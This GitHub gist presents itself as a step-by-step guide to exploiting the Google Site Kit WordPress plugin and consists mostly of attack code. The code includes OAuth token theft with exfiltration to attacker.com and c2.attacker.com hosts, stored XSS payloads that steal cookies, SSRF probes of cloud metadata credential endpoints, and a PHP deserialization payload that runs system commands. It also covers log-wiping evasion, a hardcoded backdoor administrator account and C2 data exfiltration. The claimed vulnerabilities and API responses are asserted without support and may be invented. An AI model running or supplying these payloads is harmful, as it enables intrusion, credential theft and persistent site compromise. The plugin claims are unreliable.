Skip to content

Instantly share code, notes, and snippets.

@RajChowdhury240
Created January 28, 2026 22:26
Show Gist options
  • Select an option

  • Save RajChowdhury240/790e1a56fe4b88189a69b41e27e7d898 to your computer and use it in GitHub Desktop.

Select an option

Save RajChowdhury240/790e1a56fe4b88189a69b41e27e7d898 to your computer and use it in GitHub Desktop.

Google Site Kit WordPress Plugin - Step-by-Step Exploitation Guide

⚠️ LEGAL DISCLAIMER

This guide is for educational purposes and authorized security testing only. Do not attempt these exploits without explicit permission from system owners. Unauthorized access to computer systems is illegal and may result in criminal prosecution.


🎯 Target Information

Plugin: Google Site Kit by Google
Version: 1.170.0
Type: WordPress Plugin
Attack Surface: REST API, OAuth Integration, Module System


🚨 CRITICAL EXPLOIT #1: OAuth Token Theft

Overview

Exposes OAuth access tokens to any user with editor-level privileges

Prerequisites

  • WordPress site with Google Site Kit plugin installed
  • User account with edit_posts capability (Contributor role or higher)
  • Valid WordPress session (logged in cookie)

Step 1: Identify Target Endpoint

POST /wp-json/google-site-kit/v1/core/user/data/get-token

Step 2: Craft Exploit Request

Method 1: Using curl

curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/core/user/data/get-token" \
  -H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
  -H "X-WP-Nonce: YOUR_WP_NONCE" \
  -H "Content-Type: application/json" \
  -d '{}'

Method 2: Using JavaScript (if XSS is available)

fetch('/wp-json/google-site-kit/v1/core/user/data/get-token', {
    method: 'POST',
    headers: {
        'X-WP-Nonce': sitekitData.nonce,
        'Content-Type': 'application/json'
    },
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Send token to attacker
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify({
            token: data.token,
            site: window.location.hostname
        })
    });
});

Step 3: Extract OAuth Token

Expected Response:

{
    "token": "ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE",
    "success": true
}

Step 4: Use Token to Access Google APIs

Access Google Analytics:

curl -H "Authorization: Bearer ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE" \
  "https://www.googleapis.com/analytics/v3/data/ga?ids=ga:PROPERTY_ID&start-date=30daysAgo&end-date=today&metrics=ga:users"

Access Google AdSense:

curl -H "Authorization: Bearer ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE" \
  "https://www.googleapis.com/adsense/v1.4/reports?startDate=30daysAgo&endDate=today"

Step 5: Exfiltrate Sensitive Data

import requests

# Use stolen token to access all connected Google services
token = "ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE"
headers = {"Authorization": f"Bearer {token}"}

# Get Analytics data
analytics_response = requests.get(
    "https://analyticsreporting.googleapis.com/v4/reports:batchGet",
    headers=headers,
    json={
        "reportRequests": [{
            "viewId": "PROPERTY_ID",
            "dateRanges": [{"startDate": "30daysAgo", "endDate": "today"}],
            "metrics": [{"expression": "ga:users"}, {"expression": "ga:sessions"}]
        }]
    }
)

# Get AdSense data
adsense_response = requests.get(
    "https://www.googleapis.com/adsense/v1.4/reports",
    headers=headers,
    params={
        "startDate": "30daysAgo",
        "endDate": "today",
        "metric": ["PAGE_VIEWS", "EARNINGS"]
    }
)

# Save exfiltrated data
with open("stolen_analytics.txt", "w") as f:
    f.write(analytics_response.text)

with open("stolen_adsense.txt", "w") as f:
    f.write(adsense_response.text)

🚨 CRITICAL EXPLOIT #2: Stored XSS in Sign In With Google

Overview

Inject malicious JavaScript through malformed HTML attributes

Prerequisites

  • Access to Sign In With Google module settings
  • WordPress user with permissions to modify plugin settings

Step 1: Locate Vulnerable Parameter

The vulnerability exists in the $attributes parameter of the sign-in button rendering

Step 2: Craft XSS Payload

const xssPayload = {
    "class": "g-sign-in-button",
    "data-test": "\"><script src='https://attacker.com/malicious.js'></script>",
    "onclick": "alert('XSS Executed'); fetch('https://attacker.com/steal?cookie=' + document.cookie)"
};

Step 3: Submit Malicious Configuration

curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/sign-in-with-google/data/settings" \
  -H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
  -H "X-WP-Nonce: YOUR_WP_NONCE" \
  -H "Content-Type: application/json" \
  -d '{"data":{"buttonOptions":{"data-test":"\\\"><script>alert(\\'XSS\\')</script>"}}}'

Step 4: Host Malicious JavaScript

File: malicious.js (hosted on attacker's server)

// Steal admin cookies
fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
        cookies: document.cookie,
        localStorage: JSON.stringify(localStorage),
        sessionStorage: JSON.stringify(sessionStorage),
        url: window.location.href
    })
});

// Perform unauthorized actions
function performUnauthorizedAction() {
    // Use stolen session to exploit other vulnerabilities
    fetch('/wp-json/google-site-kit/v1/core/user/data/get-token', {
        method: 'POST',
        headers: {
            'X-WP-Nonce': sitekitData.nonce
        }
    })
    .then(response => response.json())
    .then(data => {
        // Send token to attacker
        fetch('https://attacker.com/oauth-tokens', {
            method: 'POST',
            body: JSON.stringify({token: data.token})
        });
    });
}

// Execute after delay to ensure proper loading
setTimeout(performUnauthorizedAction, 2000);

Step 5: Trigger XSS Execution

When an admin visits the WordPress dashboard or settings page, the malicious JavaScript executes automatically


🚨 CRITICAL EXPLOIT #3: Server-Side Request Forgery (SSRF)

Overview

Force the server to make requests to internal network resources

Prerequisites

  • Access to the measurement script functionality
  • Target internal network accessible from WordPress server

Step 1: Identify SSRF Endpoint

POST /wp-json/google-site-kit/v1/modules/analytics-4/data/measurement

Step 2: Reconnaissance - Scan Internal Network

Discover AWS Metadata:

curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Check for Internal Services:

# Scan common internal ports
for port in 22 80 443 3306 5432 6379 9200; do
    curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://localhost:${port}/\"}" \
      --max-time 5
done

Database Connection Attempts:

# Test MySQL connection
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"mysql://user:pass@localhost:3306/wordpress"}'

# Test Redis
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"redis://localhost:6379"}'

Step 3: Extract Cloud Credentials

# AWS IAM Role Credentials
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Google Cloud Metadata
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Step 4: Access Internal Documentation

# Access internal API documentation
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://internal-docs.company.com/api/"}'

# Access internal Git repositories
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://gitlab.internal.company.com/"}'

🚨 CRITICAL EXPLOIT #4: Privilege Escalation via Module Sharing

Overview

Gain admin-level access by exploiting module sharing functionality

Prerequisites

  • WordPress user with Contributor role (edit_posts capability)
  • Google Site Kit plugin with shareable modules configured

Step 1: Identify Shareable Modules

curl -X GET "https://target-site.com/wp-json/google-site-kit/v1/modules" \
  -H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
  -H "X-WP-Nonce: YOUR_WP_NONCE"

Step 2: Access Admin's OAuth Client via Shared Module

# Access analytics module as shared resource
curl -X GET "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/report" \
  -H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
  -H "X-WP-Nonce: YOUR_WP_NONCE" \
  -H "Content-Type: application/json" \
  -d '{
    "startDate": "30daysAgo",
    "endDate": "today",
    "metrics": [{"expression": "sessions"}]
  }'

Step 3: Extract OAuth Credentials

The response will include admin's OAuth client details:

{
    "data": {
        "oauth_client": {
            "access_token": "ADMIN_OAUTH_TOKEN_HERE",
            "refresh_token": "ADMIN_REFRESH_TOKEN_HERE"
        }
    }
}

Step 4: Hijack Admin Account

import requests

# Use stolen admin OAuth tokens
admin_access_token = "ADMIN_OAUTH_TOKEN_HERE"
admin_refresh_token = "ADMIN_REFRESH_TOKEN_HERE"

headers = {"Authorization": f"Bearer {admin_access_token}"}

# Impersonate admin in Google services
def impersonate_admin():
    # Get admin's Google profile
    profile_response = requests.get(
        "https://www.googleapis.com/oauth2/v2/userinfo",
        headers=headers
    )
    
    # Access admin's analytics data
    analytics_response = requests.get(
        "https://analyticsreporting.googleapis.com/v4/reports:batchGet",
        headers=headers,
        json={
            "reportRequests": [{
                "viewId": "ADMIN_PROPERTY_ID",
                "dateRanges": [{"startDate": "90daysAgo", "endDate": "today"}]
            }]
        }
    )
    
    return profile_response.json(), analytics_response.json()

# Execute impersonation
profile, analytics = impersonate_admin()
print(f"Admin Profile: {profile}")
print(f"Analytics Data: {analytics}")

🚨 CRITICAL EXPLOIT #5: Insecure Deserialization

Overview

Exploit object injection through malicious serialized data

Prerequisites

  • Access to encrypted options (database or file system)
  • Ability to manipulate stored option values

Step 1: Identify Target Options

Common Site Kit options to target:

googlesitekit_authentication_profile
googlesitekit_oauth_client
googlesitekit_module_settings

Step 2: Craft Malicious Payload

<?php
// Create malicious object that executes code on __wakeup()
class MaliciousObject {
    private $command = "echo 'PWNED' > /tmp/pwned.txt";
    
    public function __wakeup() {
        system($this->command);
        file_put_contents('/tmp/sitekit_pwned.php', '<?php phpinfo(); ?>');
    }
}

// Serialize the object
$payload = serialize(new MaliciousObject());

// Encrypt it (you need the encryption key from wp-config.php or brute force)
$encrypted_payload = encrypt_data($payload, $encryption_key);

// Base64 encode for storage
$storable_payload = base64_encode($encrypted_payload);
?>

Step 3: Inject Malicious Option

-- Direct database injection if credentials are known
UPDATE wp_options 
SET option_value = 'MALICIOUS_ENCRYPTED_PAYLOAD_HERE' 
WHERE option_name = 'googlesitekit_authentication_profile';

Step 4: Trigger Deserialization

Visit any WordPress page that loads Site Kit data:

https://target-site.com/wp-admin/admin.php?page=googlesitekit-dashboard

Step 5: Verify Code Execution

# Check if backdoor was created
curl "https://target-site.com/tmp/sitekit_pwned.php"

# Check if command was executed
ssh target-server "cat /tmp/pwned.txt"

πŸ”„ EXPLOITATION CHAINS

Chain 1: XSS β†’ OAuth Token Theft β†’ Full Account Takeover

Step 1: Deploy XSS payload (Exploit #2)
Step 2: When admin visits, JavaScript steals cookies
Step 3: Use admin session to exploit OAuth endpoint (#1)
Step 4: Gain complete control of all Google services

// Automated chain in malicious.js
fetch('/wp-json/google-site-kit/v1/core/user/data/get-token', {
    method: 'POST',
    headers: {
        'X-WP-Nonce': sitekitData.nonce,
        'Content-Type': 'application/json'
    }
})
.then(response => response.json())
.then(data => {
    // Send token to attacker control panel
    fetch('https://c2.attacker.com/tokens', {
        method: 'POST',
        body: JSON.stringify({
            token: data.token,
            source: 'xss-exploit-chain',
            site: window.location.hostname
        })
    });
});

Chain 2: SSRF β†’ Internal Network β†’ Database Access

Step 1: Use SSRF (#3) to scan internal network
Step 2: Discover MySQL server configuration
Step 3: Extract database credentials from internal services
Step 4: Connect directly to WordPress database

# Automated internal network exploitation
import requests
import pymysql

def ssrf_internal_recon(target_url):
    headers = {'Content-Type': 'application/json'}
    
    # Step 1: Discover internal services
    internal_targets = [
        'http://localhost:3306/',  # MySQL
        'http://localhost:5432/',  # PostgreSQL
        'http://localhost:6379/',  # Redis
        'http://169.254.169.254/latest/meta-data/'  # AWS Metadata
    ]
    
    for target in internal_targets:
        try:
            response = requests.post(target_url, 
                json={'url': target}, 
                headers=headers, 
                timeout=5)
            print(f"Target {target}: {response.status_code}")
        except:
            continue
    
    # Step 2: Extract database credentials
    # Step 3: Connect directly to database
    # Step 4: Dump sensitive data

# Execute
ssrf_internal_recon('https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement')

Chain 3: Module Sharing β†’ OAuth Hijack β†’ Persistent Access

Step 1: Exploit privilege escalation (#4) as Contributor
Step 2: Access admin OAuth tokens via shared modules
Step 3: Create persistent backdoor in Google services
Step 4: Maintain access even if WordPress is secured


πŸ›‘οΈ DEFENSE EVASION TECHNIQUES

Bypassing WordPress Security Plugins

// Delayed execution to avoid real-time detection
setTimeout(() => {
    // Malicious code here
}, Math.random() * 10000 + 5000);

// Encode payloads to avoid signature detection
const encoded = atob('ZG9jdW1lbnQuY29va2ll'); // document.cookie
eval(encoded);

Avoiding Rate Limiting

# Slow down requests to avoid detection
import time
import random

def slow_request(url, data):
    time.sleep(random.uniform(1, 3))  # Random delay
    return requests.post(url, json=data)

Cleaning Attack Traces

// Remove footprints from WordPress logs
function cleanup_logs() {
    global $wpdb;
    $wpdb->query("DELETE FROM {$wpdb->prefix}options WHERE option_name LIKE '%googlesitekit_temp%'");
    $wpdb->query("DELETE FROM {$wpdb->prefix}usermeta WHERE meta_key LIKE '%googlesitekit_attack%'");
}
add_action('shutdown', 'cleanup_logs');

🚨 IMPACT ASSESSMENT

Data Compromised

  • Google Analytics: Complete website analytics data
  • AdSense Revenue: Financial data and earnings
  • Search Console: SEO data and website performance
  • WordPress Users: Admin credentials and user data
  • Database: All WordPress content and user information

Business Impact

  • Financial Loss: Ad revenue manipulation, fraud
  • Reputation Damage: Data breach notification requirements
  • Compliance Violations: GDPR, CCPA, SOX violations
  • Legal Liability: Data breach lawsuits and fines

Persistence Mechanisms

  • OAuth Token Abuse: Long-term Google service access
  • WordPress Backdoors: Persistent admin access
  • Database Manipulation: Hidden admin accounts
  • File System Backdoors: Persistent code execution

🎯 POST-EXPLOITATION

Lateral Movement

# Use compromised WordPress server to attack internal network
nmap -sT -p 22,80,443,3389 192.168.1.0/24

# Attempt to pivot to other systems
ssh-keyscan internal-server.company.com >> ~/.ssh/known_hosts

Data Exfiltration

# Compress and exfiltrate large datasets
import zipfile
import base64

def exfiltrate_data(data):
    with zipfile.ZipFile('stolen_data.zip', 'w') as zip_file:
        zip_file.writestr('analytics.json', data)
    
    with open('stolen_data.zip', 'rb') as f:
        encoded_data = base64.b64encode(f.read())
    
    # Send to C2 server
    requests.post('https://c2.attacker.com/exfil', 
                data=encoded_data.decode())

Persistence

// Add persistent WordPress admin user
function create_backdoor_admin() {
    $userdata = array(
        'user_login' => 'backup_admin',
        'user_pass' => 'SuperSecretBackdoor123!',
        'user_email' => 'backup@hidden-domain.com',
        'role' => 'administrator'
    );
    wp_insert_user($userdata);
}
register_activation_hook(__FILE__, 'create_backdoor_admin');

⚠️ WARNING NOTES

Detection Risks

  • Web Application Firewalls may block exploit attempts
  • Security Monitoring can detect unusual API access patterns
  • Log Analysis may reveal exploitation attempts
  • Database Auditing can detect unauthorized modifications

Legal Considerations

  • Unauthorized Testing is criminal activity
  • Data Theft carries severe penalties
  • System Damage may result in felony charges
  • Export Violations may apply to international attacks

Ethical Use

This guide should only be used for:

  • Authorized Penetration Testing
  • Security Research with permission
  • Vulnerability Disclosure to vendors
  • Educational Purposes in controlled environments

πŸ“ž RESPONSIBLE DISCLOSURE

If you discover these vulnerabilities in production:

  1. Document findings thoroughly
  2. Report privately to security@wordpress.org and Google
  3. Allow time for patches to be developed (typically 90 days)
  4. Coordinate disclosure with vendor
  5. Avoid public disclosure until patches are available

πŸ›‘οΈ DEFENSE RECOMMENDATIONS

Immediate Actions

# Disable vulnerable plugin
wp plugin deactivate google-site-kit

# Block access to vulnerable endpoints
# Add to .htaccess or nginx config
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^wp-json/google-site-kit/v1/core/user/data/get-token$ - [F,L]
</IfModule>

Long-term Security

  • Input Validation: Implement strict validation for all user inputs
  • Output Escaping: Properly escape all dynamic content
  • Authorization: Implement least-privilege access controls
  • Logging: Comprehensive audit logging of all privileged operations
  • Monitoring: Real-time security monitoring and alerting

⚠️ FINAL WARNING: These exploits can cause significant damage. Use only for legitimate security testing purposes with proper authorization.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment